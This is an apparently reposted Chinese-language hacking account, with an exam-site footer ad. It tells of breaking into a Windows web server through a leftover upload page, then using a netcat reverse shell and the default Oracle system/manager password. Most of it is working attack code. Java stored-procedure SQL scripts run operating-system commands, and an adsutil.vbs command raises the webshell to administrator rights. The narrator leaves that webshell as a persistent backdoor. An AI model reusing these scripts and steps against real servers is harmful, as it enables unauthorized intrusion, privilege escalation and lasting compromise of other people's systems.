 近日，偶到一主机上逛了一圈。主机的配置还算是安全，偏偏一个比较隐藏的目录下残留了upfile.asp，结果轻轻松松的得到了webshell。 接着在主机上逛了逛，拿出superscan从外面扫了下，只开放了80端口。从user\程序目录里，发现有一快捷方式：firecontrol，好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务，发现一般的可提权的方法都不可行，无SERV-U等等，主机的补丁也是打到了最新。试了下传了个NC上去，反连接得到一SHELL，这下比在老兵的管理器里舒服多了。 在C盘下看到一个目录oracle，看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件，确定了主机的服务名“ xxx ”，看了下版本“ oracle 8i ”，用数据库连接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx试了下默认的system账户，密码manager，结果真的就连接到了本地的oracle服务。 这下好了，oracle的system账户就像是mssql下的sa，我们来通过他来提升权限，马上编辑了几个脚本。 1. sql create or replace and compilejava source named "Util"asimport java.io.*. import java.lang.*. public class Util extends Object{public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(). int rc = -1. try{Process p = rt.exec(args). int bufSize = 4096. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize). int len.byte

buffer[] = new byte[bufSize]. // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len). rc = p.waitFor(). } catch (Exception e) { e.printStackTrace(). rc = -1. } finally{return rc. } }}2.sql create or replacefunction RUN_CMD(p_cmd in varchar2) return numberaslanguage javaname Util.RunThis(java.lang.String) return integer.3.sql create or replace procedure RC(p_cmd in varchar2)asx number.beginx := run_cmd(p_cmd).end. 保存在c:\下，然后用反连接得到的shell运行 sqlplus system/manager@xxx然后再来执行脚本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已创建、函数已创建、过程已创建，接着我们继续 SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授权成功。 接着我们就可以来执行系统命令了。我想先把ASP.dll加入特权一组 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到过程已经成功完成，这个时候我们重新登陆我们的webshell，他已经具有admin权限了。接着，再用NC返回一个shell，已经是管理权限的，我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口，所以不好做图形的后门，只有留下一有权限的webshell。到此已经提权成功。 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com